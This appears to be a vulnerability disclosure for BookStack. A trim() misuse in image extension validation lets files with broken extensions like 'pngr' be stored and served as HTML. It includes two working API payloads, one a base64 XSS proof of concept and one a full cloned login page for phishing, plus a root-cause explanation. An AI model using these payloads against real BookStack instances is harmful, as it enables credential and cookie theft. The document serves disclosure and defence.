Description

The image extension validation service for Base64 image extraction in new Bookstack version is flawed as it uses the vulnerable trim function. This allows attackers to upload malicious files with broken extension, such as pngr, and browsers will interpret broken extension hosted on the server as HTML.

Payload 1

POST /api/pages
{
	"book_id": 1,
	"name": "My API Page",
	"html": "<img src="data:image/pngr;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">",
	"tags": [
		{"name": "Category", "value": "Not Bad Content"},
		{"name": "Rating", "value": "Average"}
	]
}

See that the file is stored on the server, an attacker can send this file to others to perform reflected XSS. The CSP does not help because CSP is on application layer and hence not applied to static files.

Payload 2

POST /api/pages
{
	"book_id": 1,
	"name": "My API Page",
	"html": "<img src="data:image/png0r;base64,<!DOCTYPE html>
<html lang="en-GB"
      dir="ltr"
      class="">
<head>
    <title>BookStack</title>

    <!-- Meta -->
    <meta name="viewport" content="width=device-width">
    <meta name="token" content="p4loPHYywNy71wtqMNaMBoRK0V0U0ekVEUEEEfcP">
    <meta name="base-url" content="http://10.0.2.15">
    <meta charset="utf-8">

    <!-- Social Cards Meta -->
    <meta property="og:title" content="BookStack">
    <meta property="og:url" content="http://10.0.2.15/login">
    
    <!-- Styles and Fonts -->
    <link rel="stylesheet" href="http://10.0.2.15/dist/styles.css?version=v21.10">
    <link rel="stylesheet" media="print" href="http://10.0.2.15/dist/print-styles.css?version=v21.10">

    
    <!-- Custom Styles & Head Content -->
    <style id="custom-styles" data-color="#206ea7" data-color-light="rgba(32,110,167,0.15)">
    :root {
        --color-primary: #206ea7;
        --color-primary-light: rgba(32,110,167,0.15);
        --color-bookshelf: #a94747;
        --color-book: #077b70;
        --color-chapter: #af4d0d;
        --color-page: #206ea7;
        --color-page-draft: #7e50b1;
    }
</style>
    
    
    <!-- Translations for JS -->
    </head>
<body class="">

    <a class="px-m py-s skip-to-content-link" href="#main-content">Skip to main content</a>    <div notification="success" style="display: none;" data-autohide class="pos" role="alert" >
    <svg class="svg-icon" data-icon="check-circle" role="presentation"  viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
    <path d="M0 0h24v24H0z" fill="none"/>
    <path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm-2 15l-5-5 1.41-1.41L10 14.17l7.59-7.59L19 8l-9 9z"/>
</svg> <span></span><div class="dismiss"><svg class="svg-icon" data-icon="close" role="presentation"  viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
    <path d="M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/>
    <path d="M0 0h24v24H0z" fill="none"/>
</svg></div>
</div>

<div notification="warning" style="display: none;" class="warning" role="alert" >
    <svg class="svg-icon" data-icon="info" role="presentation"  viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
    <path d="M0 0h24v24H0z" fill="none"/>
    <path d="M11 17h2v-6h-2v6zm1-15C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zM11 9h2V7h-2v2z"/>
</svg> <span></span><div class="dismiss"><svg class="svg-icon" data-icon="close" role="presentation"  viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
    <path d="M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/>
    <path d="M0 0h24v24H0z" fill="none"/>
</svg></div>
</div>

<div notification="error" style="display: none;" class="neg" role="alert" >
    <svg class="svg-icon" data-icon="danger" role="presentation"  viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
    <path d="M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27L15.73 3zM12 17.3c-.72 0-1.3-.58-1.3-1.3 0-.72.58-1.3 1.3-1.3.72 0 1.3.58 1.3 1.3 0 .72-.58 1.3-1.3 1.3zm1-4.3h-2V7h2v6z"/>
    <path d="M0 0h24v24H0z" fill="none"/>
</svg> <span></span><div class="dismiss"><svg class="svg-icon" data-icon="close" role="presentation"  viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
    <path d="M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/>
    <path d="M0 0h24v24H0z" fill="none"/>
</svg></div>
</div>
    <header id="header" component="header-mobile-toggle" class="primary-background">
    <div class="grid mx-l">

        <div>
            <a href="http://10.0.2.15" class="logo">
                                    <img class="logo-image" src="http://10.0.2.15/logo.png" alt="Logo">
                                                    <span class="logo-text">BookStack</span>
                            </a>
            <button type="button"
                    refs="header-mobile-toggle@toggle"
                    title="Expand Header Menu"
                    aria-expanded="false"
                    class="mobile-menu-toggle hide-over-l"><svg class="svg-icon" data-icon="more" role="presentation"  viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
    <path d="M0 0h24v24H0z" fill="none"/>
    <path d="M12 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2zm0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z"/>
</svg></button>
        </div>

        <div class="flex-container-row justify-center hide-under-l">
                    </div>

        <div class="text-right">
            <nav refs="header-mobile-toggle@menu" class="header-links">
                <div class="links text-center">
                    
                                                                    <a href="http://10.0.2.15/login"><svg class="svg-icon" data-icon="login" role="presentation"  viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
    <path d="M0 0h24v24H0z" fill="none"/>
    <path d="M21 3.01H3c-1.1 0-2 .9-2 2V9h2V4.99h18v14.03H3V15H1v4.01c0 1.1.9 1.98 2 1.98h18c1.1 0 2-.88 2-1.98v-14c0-1.11-.9-2-2-2zM11 16l4-4-4-4v3H1v2h10v3z"/>
</svg>Log in</a>
                                    </div>
                            </nav>
        </div>

    </div>
</header>

    <div id="content" components="" class="block">
        
    <div class="container very-small">

        <div class="my-l">&nbsp;</div>

        <div class="card content-wrap auto-height">
            <h1 class="list-heading">Log In</h1>

            <form action="http://10.0.2.15/login" method="POST" id="login-form" class="mt-l">
    <input type="hidden" name="_token" value="p4loPHYywNy71wtqMNaMBoRK0V0U0ekVEUEEEfcP">

    <div class="stretch-inputs">
        <div class="form-group">
            <label for="email">Email</label>
            <input type="text" id="email" name="email"
                      autofocus                      >
        </div>

        <div class="form-group">
            <label for="password">Password</label>
            <input type="password" id="password" name="password"
                            >
            <div class="small mt-s">
                <a href="http://10.0.2.15/password/email">Forgot Password?</a>
            </div>
        </div>
    </div>

    <div class="grid half collapse-xs gap-xl v-center">
        <div class="text-left ml-xxs">
            <label custom-checkbox class="toggle-switch ">
    <input type="checkbox" name="remember" value="on" >
    <span tabindex="0" role="checkbox"
          aria-checked="false"
          class="custom-checkbox text-primary"><svg class="svg-icon" data-icon="check" role="presentation"  xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M18.86 4.118l-9.733 9.609-3.951-3.995-2.98 2.966 6.93 7.184L21.805 7.217z"/></svg></span>
    <span class="label">Remember Me</span>
</label>        </div>

        <div class="text-right">
            <button class="button">Log In</button>
        </div>
    </div>

</form>



            
                    </div>
    </div>

    </div>

    
    <div back-to-top class="primary-background print-hidden">
        <div class="inner">
            <svg class="svg-icon" data-icon="chevron-up" role="presentation"  viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
    <path d="M7.41 15.41L12 10.83l4.59 4.58L18 14l-6-6-6 6z"/>
    <path d="M0 0h24v24H0z" fill="none"/>
</svg> <span>Back to top</span>
        </div>
    </div>

        <script src="http://10.0.2.15/dist/app.js?version=v21.10" nonce="zVICM9df13m74DG9AczuFCSd"></script>
    
</body>
</html>
">",
	"tags": [
		{"name": "Category", "value": "Not Bad Content"},
		{"name": "Rating", "value": "Average"}
	]
}

This creates a phishing page on the server, we can modify where the credentials are sent to if we want

Root Cause

There is a subtle difference between single-quoted strings (literals) and double-quoted strings. In double-quoted strings \r\n will be interpreted as carriage-return and newline, but in single-quoted literals the characters will be interpreted as-is. Bookstack uses the trim function with only single-quoted string, so attackers can bypass the file validation check.

in_array(trim($extension, '. \t\n\r\0\x0B'), static::$supportedExtensions);

So if the $extension = pngr, then the trim function will strip the ‘r’ character so that it becomes png and thus gets validated.

Impact

An attacker with page edit permissions can upload files to:

1: Host phishing pages and obtain password of admin users

2: Javascript execution (XSS) to get the cookie.